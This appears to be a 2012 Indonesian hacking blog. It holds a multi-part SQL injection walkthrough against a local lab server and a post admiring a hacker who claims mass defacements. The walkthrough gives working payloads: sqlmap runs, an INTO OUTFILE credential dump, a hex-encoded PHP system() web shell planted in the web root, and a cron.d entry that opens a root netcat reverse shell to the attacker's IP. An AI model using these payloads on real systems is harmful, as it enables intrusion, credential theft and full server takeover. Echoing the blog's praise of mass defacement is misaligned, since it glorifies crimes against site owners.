Senin, 30 April 2012

SQL Injection Level 4 [Final]

Setelah kita menjalani tiga step dari SQL Injection level 4, akhirnya kita sampai di tahap final. Tahap final adalah tahap rooting. Kali ini saya akan menjelaskan cara melakukan rooting hanya dengan menggunakan teknik SQL Injection level 4.

Masih sama dengan posting tempo lalu, saya masih menggunakan burpsuite untuk membantu saya dalam melakukan decode dan sql injecting.


Preparation :
  1. Burpsuite [dapat ditemukan di backtrack]
  2. Netcat  [dapat ditemukan di backtrack]
Briefing :
  1. Ketahuilah apa fungsi dari file yang terdapat di directory /etc/cron.d/
  2. Membuat file baru pada directory /etc/cron.d/ dengan perintah back connect root kepada komputer attacker. 
  3. Game Over.
Walkthrough

 1. Apa itu file cron.d?


Saya akan menjelaskan dengan singkat, apa fungsi dari file /etc/cron.d. File yang terdapat dalam directory ini akan dieksekusi setiap 2 - 5 menit sekali oleh user yang bersangkutan. User yang bersangkutan?


Contoh sederhana dari file /etc/cron.d/ adalah


Command :
* * * * * www-data date>>/tmp/date

Kita memiliki contoh file cron.d di sini, sebut saja nama file ini date


Command :
<< back|track 5 R2 [~] ls -l /etc/cron.d/date-rw-r--r-- 1 root root 35 2012-05-01 12:01 /etc/cron.d/date


Command :
<< back|track 5 R2 [~] cat /etc/cron.d/date* * * * * www-data date>>/tmp/date



User www-data akan mengeksekusi perintah


date>>/tmp/date


Dimana output dari perintah date akan disimpan di /tmp/date. Sekarang kita cek isi dari file /tmp/date

Command :
<< back|track 5 R2 [~] cat /tmp/dateTue May  1 11:24:57 WIT 2012
Tue May  1 11:26:01 WIT 2012



Perhatikan, file /etc/cron.d/date dieksekusi setiap 2 menit. Bagaimana jika user kita ganti dengan root? Tentu saja bisa.


2. Back connect root

Kita bisa melakukan back connect root jika netcat dieksekusi oleh root. Sederhananya, kita cukup mengganti user dengan root, kemudian kita tambahkan dengan dengan peritah back connect netcat.

Command :
* * * * * root /bin/nc.traditional 172.16.243.1 1234 -e /bin/bash

Anda bisa mencari tau mengapa saya bisa menemukan netcat pada server target di posting SQL Injection Level 4 [Part 3]. Sementara 172.16.243.1 adalah IP Address saya.

Kemudian kita decode perintah ini dari ASCII ke HEX dengan bantuan burpsuite. Saya tidak akan menjelaskan lagi cara melakukan decode ASCII ke HEX dengan burpsuite, anda dapat membacanya pada postingan sebelumnya pada SQL Injection Level 4 [Part 3].


Ok. Perintah suda di decode menjadi HEX. Sekarang perintah menjadi

Command :
2a202a202a202a202a20726f6f74202f62696e2f6e632e747261646974696f6e616c203137322e31362e3234332e312031323334202d65202f62696e2f626173680a

Catatan Penting:
Ketika melakukan decode dengan burpsuite, pastikan anda menambahkan line baru setelah perintah netcat. Perhatikan gambar di atas.

Setelah di decode, maka kita masukan perintah SQL seperti ini:

Command :
myusername=admin&mypassword=%27 and 1=1 union select 0x20,0x20,0x20 into outfile '/etc/cron.d/backdoor' lines terminated by 0x2a202a202a202a202a20726f6f74202f62696e2f6e632e747261646974696f6e616c203137322e31362e3234332e312031323334202d65202f62696e2f626173680a -- &Submit=Login


Perintah di atas akan membuat file baru bernama backdoor pada directory /etc/cron.d/. Sebelum klik tombol GO pada burpsuite, masukan perintah berikut pada terminal, ini berfungsi agar anda dapat menerima koneksi netcat dari root komputer target.

Command :
<< back|track 5 R2 [~] netcat -l -v -p 1234
listening on [any] 1234 ...

Kemudian klik tombol GO. Ok, kali ini saya akan membuat bukti bahwa file cron.d dieksekusi dalam 2 menit. Setelah mengklik tombol GO, saya melakukan cek tanggal dan waktu.

Command :
<< back|track 5 R2 [~] dateTue May  1 11:45:53 WIT 2012



3. Game Over

Jika file /etc/cron.d/backdoor pada server target berhasil dieksekusi, maka pada konsol netcat akan muncul.

Command :
<< back|track 5 R2 [~] netcat -l -v -p 1234
listening on [any] 1234 ...
172.16.243.128: inverse host lookup failed: Unknown host
connect to [172.16.243.1] from (UNKNOWN) [172.16.243.128] 50648


Kemudian saya cek kembali tanggal saya

Command :
<< back|track 5 R2 [~] dateTue May  1 11:45:53 WIT 2012<< back|track 5 R2 [~] dateTue May  1 11:47:03 WIT 2012

File /etc/cron.d/backdoor dieksekusi dalam waktu kurang dari 2 menit. Sekarang kita cek ID pada netcat kita, apakah ini root?

Command :
<< back|track 5 R2 [~] netcat -l -v -p 1234
listening on [any] 1234 ...
172.16.243.128: inverse host lookup failed: Unknown host
connect to [172.16.243.1] from (UNKNOWN) [172.16.243.128] 50648
id
uid=0(root) gid=0(root) groups=0(root)



There you go! You got root.

You are so #pwned by : red-dragon


Jumat, 20 April 2012

About The Greatest Hacker

Sebelum saya menjelaskan siapa Hacker Terhebat di dunia versi saya, saya akan menyebutkan kriteria hacker yang berkualitas.

  1. Hacker bukan seseorang yang hebat menggunakan perangkatnya saja, melainkan hebat menggunakan akalnya.
  2. Hacker yang melakukan defacing web site dengan tujuan mencari popularitas, tidak lebih dari seorang n00b.
  3. Hacker yang menyukai satu metode dalam kondisi yang sama, tidak lebih dari seorang fanatik.
Andakah hacker berkualitas tersebut? Jika anda ingin nama anda dimasukan di dalam daftar tunggal ini, maka anda harus melakukan komparasi terhadap hacker yang saya agungkan ini.

Perkenalkan....

TiGER-M@TE

Apa yang membuat hacker ini hebat? OK, saya akan menjelaskan sepak terjang hacker yang satu ini.


Meretas 700.000 situs

Hacker ini berkewargenagaraan Bangadesh, memulai dunia peretasannya dari tahun 2007 hingga saat ini. Hacker ini bergerak secara diam-diam dan tertutup dengan baik (underground hacker). Hingga namanya mencuat pada pertangahan september 2011, karena melakukan defacing 700.000 (Tujuh Ratus Ribu) website dalam satu kali aksi!

TiGER-M@TE"Secara teknis, saya meretas 700.000 situs. Itu mungkin menjadi rekor dunia baru. Setelah mengajukan 200.000 website yang saya retas ke Zone-H, situs Zone-H menjadi down berulang kali, dan hampir tidak responsif pada akhirnya. Sehingga saya tidak bisa mengajukan semua daftar situs yang saya retas ke Zone-H. Sehingga saya mencatat 700.000 situs yang saya retas di multiupload. Itu bukan sekedar peretasan server, sebenarnya semua data center telah diretas."

Beberapa daftar situs yang berhasil di-submit ke zone-h dapat dilihat di sini.

Meretas situs Google

Pada 8 January 2011. Negara Bangladesh dikejutkan dengan situs Google yang berubah tampilan menjadi seperti ini.


Cache masih tersimpan di sini

Bagaimana mungkin?!

Unix Root : "Ceritakan pada kami mengenai identitas anda"
TiGER-M@TE: "Saya berkewarganegaraan bangladesh, memulai dunia peretasan pada tahun 2007 dan saya bekerja sendiri. Saya lebih suka meretas server daripada meretas aplikasi web"

Unix Root : "Apa benar anda yang meretas Google pada 8 Januari 2011?
TiGER-M@TE : "Sebenarnya bukan hanya google, saya juga meretas Yahoo, Avast, Microsoft, Bing, Nokia, dan Kaspersky"

Unix Root : "Bagaimana anda bisa meretas Google, banyak hacker yang ingin tau cara ini"
TiGER-M@TE : "Sebenarnya itu adalah DNS HiJack, bukan DNS Poison"

Unix Root : "Apakah ada kerusakan yang anda buat, atau apakah anda mengambil backup data milik google?"
TiGER-M@TE : "Karena metode yang saya gunakan adalah DNS HiJack, jadi tidak ada kerusakan data pada domain tersebut."

Unix Root : "Apa ada peretasan besar lainnya yang pernah anda lakukan?"
TiGER-M@TE : "Peretasan besar... Saya adalah pria yang meretas Airtel, Warid, dan American Express."

Unix Root : "Ada pesan untuk hacker-hacker di luar sana?"
TiGER-M@TE : "Coba tulis kode exploit milik anda sendiri, Gunakan kode exploit anda sendiri, jangan gunakan kode exploit milik orang lain. Ini akan membantumu untuk mendapatkan apapun yang kau butuhkan sebelum proses peretasan, ketahui setiap hal dan ketahui bagaimana sebuah proses bekerja. Meretas adalah semua tentang pengetahuan dan skill"

Saya rasa ini adalah jalan hacker yang sesungguhnya. Bukan hacker yang hanya mengandalkan SQLinjection, LFI, RFI, DNS Poisoning, BOT, dan Jumping Server. Jika anda memiliki versi lain dari hacker terhebat di dunia, berikan pendapat anda ke doubledragon666@gmail.com

writen by : red-dragon

Rabu, 11 April 2012

SQL Injection Level 4 [Part 3]

Ini adalah kelanjutan dari SQL Injection Level 4 [Part 2]. Sebelum masuk ke tahap ini, saya sarankan pembaca memahami konsep dari Part 1, dan Part 2 terlebih dahulu.

Kali ini saya masih menggunakan tools burpsuite.

Preparation :
  1. Burpsuite
  2. Browser
Legal Disclaimer:
Tutorial ini bertujuan sebagai pembelajaran dan edukasi, penyalah gunaan ilmu ini di luar tanggung jawab penulis.

Walkthrough
1. Mengenal konsep backdoor php
Pada tutorial sebelumnya, saya sudah menjelaskan mengenai dumping username dan password menggunakan perintah sederhana yang dilakukan oleh repeater pada tool burpsuite. Kali ini saya akan memasang backdoor sederhana, hanya dengan menggunakan burpsuite.

Contoh sederhana dari backdoor php dengan menggunakan perintah passthru.


Command :
<?php
passthru($_GET['cmd']);
?>

Kemudian saya sedikit modifikasi menjadi.


Command :
<?php
if(isset($_REQUEST['cmd'])){        echo "<pre>";        $cmd = ($_REQUEST['cmd']);        system($cmd);        echo "</pre>";        die;}
?>




2. Encoding ASCII to HEX with Burpsuite
Mengetahui shell code kita harus berformat hexadecimal, maka kita harus melakukan converting dari ASCII ke HEX. Burpsuite telah menyediakan fitur ini. Klik tab decoder, kemudian pada drop down menu "encode as..." pilih "ascii hex". Pada text menu (atas), masukan shell code anda. Kali ini saya menggunakan shell code milik saya, dan shell code saya telah dikonfersikan ke HEX pada text menu bagian bawah.


Command :
3c3f7068700a0a696628697373657428245f524551554553545b27636d64275d29297b0a20202020202020206563686f20223c7072653e223b0a202020202020202024636d64203d2028245f524551554553545b27636d64275d293b0a202020202020202073797374656d2824636d64293b0a20202020202020206563686f20223c2f7072653e223b0a20202020202020206469653b0a7d0a0a3f3e




3. Burpsuite In Action
Kita telah mengubah shell code manjadi HEX format, selanjutnya kita masukan perintah SQL, sehingga perintah SQL menjadi


Command :
myusername=admin&mypassword=' AND 1=1 union select 0x20,0x20,0x20 INTO OUTFILE '/var/www/backdoor.php' LINES TERMINATED BY 0x3c3f7068700a0a696628697373657428245f524551554553545b27636d64275d29297b0a20202020202020206563686f20223c7072653e223b0a202020202020202024636d64203d2028245f524551554553545b27636d64275d293b0a202020202020202073797374656d2824636d64293b0a20202020202020206563686f20223c2f7072653e223b0a20202020202020206469653b0a7d0a0a3f3e -- &Submit=Login




Jangan klik tombol GO. Sebelumnya saya akan membuktikan bahwa belum ada file backdoor.php di dalam web server. Saya akan mengujinya dengan perintah curl.


Command :
red-dragon [~] >> curl http://172.16.33.131/backdoor.php


Hasil.


Command :
red-dragon [~] >> curl http://172.16.33.131/backdoor.php<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /backdoor.php was not found on this server.</p><hr><address>Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch Server at 172.16.33.131 Port 80</address>




4. Access Backdoor
Kembali ke burpsuite, kemudian tekan tombol GO. Dan kita cek lagi keberadaan backdoor.php pada server.


Command :
red-dragon [~] >> curl http://172.16.33.131/backdoor.php?cmd=id



It's easy, as usual.

created by : red-dragon


SQL Injection Level 4 [Part 2]

Pada postingan sebelumnya, kita telah membahas tentang melakukan SQL Injeksi Tahap 4 menggunakan SQLmap, dan Tamper Data. Kali ini saya akan melakukan hal yang berbeda dari tutorial SQL Injeksi manapun, karena saya menggunakan tools OWASP Burpsuite.

Target saya masih sama dari target pada postingan sebelumnya, dengan alasan yang sama, saya tidak mau membuat kerusakan pada situs milik orang lain.

IP target : 172.16.33.131



Important!!!
Tutorial ini bertujuan sebagai pembelajaran, penyalah gunaan yang membuat kerugian terhadap pihak lain di luar tanggung jawab penulis.

Preparation :
  1. Browser
  2. Burpsuite (dapat ditemukan di backtrack 5)
Walkthrough :
1. Menyiapkan burpsuite

Burpsuite dapat ditemukan di backtrack 5. Pada start menu, pilih Applications - Backtrack - Vulnerability Assessment - Web Application Assessment - Web Application Proxies - Burpsuite.


Burpsuite akan menangkap setiap paket atau data yang dikirim dari client ke server, dengan syarat client harus menggunakan proxy burpsuite. Untuk melakukan pengaturan proxy, lakukan langkah berikut:

  • Klik tab Proxy
  • Pada tab intercept,  klik "Intercept is on" sehingga menjadi "Intercept is off"
  • Pada tab options, perhatikan port burpsuite yang aktif. Kali ini saya menggunakan pengaturan umum, yaitu 8080.
  • Klik tab Target, pada tab ini semua data dan packet akan muncul.
Jangan tutup burpsuite, karena kita masih menggunakan tool ini.


2. Menyiapkan Browser

Anda bisa menggunakan browser apapun, namun dalam tutorial ini, saya menggunakan browser Mozilla Firefox. Untuk melakukan pengaturan proxy, lakukan langkah berikut:
  • Edit
  • Preferences
  • Advanced
  • Network
  • Settings
  • Pilih Manual Proxy Configuration
  • Pada http proxy, masukan 0.0.0.0
  • Para port proxy masukan 8080
  • Klik OK



3. Burpsuite Intercepting

Sekarang masukan IP 172.16.33.131 pada address bar. Kemudian login dengan

Username : admin
Password : '

Klik Login. Kemudian kembali pada burpsuite, maka akan muncul data yang berhasil dihadang (intercepted) oleh burpsuite.



4. Burpsuite In Action

Pada pembahasan sebelumnya, kita telah mengetahui, bahwa vulnerability terletak pada halaman checklogin.php. Jika anda masih bingung mengapa halaman ini memiliki vulnerability, saya sarankan anda membaca postingan sebelumnya mengenai SQL Injection Level 4 [Part 1].  Klik kanan pada bagian /checklogin.php, kemudian pilih "send to repeater".



Pada tab repeater. Perhatikan bagian

myusername=admin&mypassword='&Submit=Login

Pada pembahasan sebelumnya, kita juga sudah mengetahui bahwa parameter "mypassword" memiliki vulnerability terhadap serangan SQL Injection. Ini terlihat dari pesan:

mysql_num_rows(): supplied argument is not a valid MySQL result resource in


5. Dumping Username + Password With Burpsuite

Melakukan dumping username dan password belum pernah secepat dan semudah ini. Biasanya anda harus mencari table dan kolom yang tepat untuk mendapatkan username dan password. Namun kali ini anda hanya membutuhkan satu perintah saja. Ubah bagian:

myusername=admin&mypassword='&Submit=Login

Menjadi

myusername=admin&mypassword=' OR 1=1 INTO OUTFILE '/var/www/dump' -- &Submit=Login

Jangan klik tombol GO. Untuk membuktikan bahwa username dan password berhasil di dump ke /var/www/dump, kita akan menguji keberadaan file dump pada server dengan perintah curl.

Command :
red-dragon [~] >> curl http://172.16.33.131/dump

Maka akan muncul

Command :
red-dragon [~] >> curl http://172.16.33.131/dump<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /dump was not found on this server.</p><hr><address>Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch Server at 172.16.33.131 Port 80</address></body></html>



Terlihat bahwa file dump memang tidak ada (belum ada). Kemudian klik tombol go pada burpsuite. Dan lakukan pengecekan lagi dengan curl.

Command :
red-dragon [~] >> curl http://172.16.33.131/dump1 john         MyNameIsJohn2 robert      ADGAdsafdfwt4gadfga==



It's easy, isn't?

created by : red-dragon

Senin, 09 April 2012

SQL Injection Level 4 [Part 1]

Bosan dengan perintah

(select group_concat(table_name) from information schema.tables where table_schema=database())


Kali ini saya akan memberikan sedikit pelajaran mengenai SQL Injection level 4. Pada tutorial kali ini, saya tidak menggunakan live target, karena saya rasa itu bersifat merusak. Sehingga saya coba metode ini di localhost dengan bantuan VMware.

Preparation : 
  1. Firefox
  2. Tamper Data (add ons mozilla firefox)
  3. SQLmap

Walkthrough


1. Menguji vulnerability.

Kali ini, vmware saya telah berjalan dan memiliki ip address 172.16.33.131. Saya buka firefox, kemudian saya masukan IP address 172.16.33.131 pada address bar.



Username : admin
Password : admin

Log In... Kemudian...


Kita berada di halaman checklogin.php. Disini tidak ada parameter untuk diuji. Mungkin saya bisa menguji data yang dikirim ke server. Saya kembali lagi ke halaman login.

Username : admin
Password : '

Log In.. Kemudian...


Kelihatannya website ini vulnerable. Namun tetap tidak ada parameter. Sehingga dapat disimpulkan bahwa vulnerability bukan terletak pada parameter, melainkan DATA. Untuk mengecek data yang dikirim ke server, saya gunakan tamper data.

2. Tamper Data In Action

Jika anda belum memiliki tamper data, anda bisa install di sini. Namun add-on ini hanya dapat digunakan di Mozilla Firefox. Dan tidak dapat digunakan di Browser lain.

Setelah menginstall, tamper data dapat diaktifkan di Tools - Tamper Data


Kembali ke halaman login

Username : admin
Password : 123

Maka tamper data akan mengambil setiap data yang terjadi selama proses transfer data dari client ke server, maupun sebaliknya.


OK. Saya temukan POSTDATA=myusername=admin&mypassword=123&Submit=Login. Ternyata ada 3 data di sini. yaitu myusername, mypassword, dan Submit. Dan kita telah mengetahui bahwa data password vulnerable. Selanjutnya kita akan gunakan SQLmap untuk menguji database menggunakan informasi yang telah kita dapatkan. Sebelumnya saya ucapkan terima kasih pada tamper data. =)

3. SQLmap in Attack

Command :
red-dragon [~] >> cd /pentest/database/sqlmap/

Command :
red-dragon [/pentest/database/sqlmap] >> python sqlmap.py -u http://172.16.33.131/checklogin.php --data="POSTDATA=myusername=admin&mypassword=123&Submit=Login" -p mypassword --flush-session

Keterangan:
  1. -u = url [Pesan error muncul pada halaman checklogin.php]
  2. --data = [Kali ini kita akan memberikan data pada server dengan cara tampering / menyuap]
  3. -p = parameter [Parameter yang vulnerable adalah mypassword
  4. --flush-session = Bagian ini tidak masalah jika tidak disertakan.


Muncul pertanyaan:
parsed error message(s) showed that the back-end DBMS could be MySQL. Do you want to skip test payloads specific for other DBMSes? [Y/n]

Saya tekan "n" [tanpa tanda kutip], kemudian "enter"

Kemudian muncul lagi:
sqlmap got a 302 redirect to 'http://172.16.33.131:80/login_success.php'. Do you want to follow? [Y/n]

Saya tekan "n" [tanpa tanda kutip], kemudian "enter"

dan berujung pada CRITICAL:
[CRITICAL] all parameters appear to be not injectable. Try to increase --level/--risk values to perform more tests. As heuristic test turned out positive you are strongly advised to continue on with the tests. Please, consider usage of tampering scripts as your target might filter the queries. Also, you can try to rerun by providing either a valid --string or a valid --regexp, refer to the user's manual for details


4. Game Over
Saya coba naikan level dan risk pada testing SQLmap menjadi 5.

Command :
red-dragon [/pentest/database/sqlmap] >> python sqlmap.py -u http://172.16.33.131/checklogin.php --data="POSTDATA=myusername=admin&mypassword=123&Submit=Login" -p mypassword --level=5 --risk=5



Kemudian muncul lagi:
sqlmap got a 302 redirect to 'http://172.16.33.131:80/login_success.php'. Do you want to follow? [Y/n]

Saya tekan "n" [tanpa tanda kutip], kemudian "enter"

Dan muncul pesan yang membahagiakan:
POST parameter 'mypassword' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 

Saya jawab "n", kemudian "enter".

Dan payload untuk website ini adalah:

Place: POST
Parameter: mypassword
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: POSTDATA=myusername=admin&mypassword=-3973' OR (5599=5599) AND 'eHOv'='eHOv&Submit=Login

    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: POSTDATA=myusername=admin&mypassword=123' AND 2246=BENCHMARK(5000000,MD5(0x77544b50)) AND 'bGtM'='bGtM&Submit=Login


Sempurna....

created by : red-dragon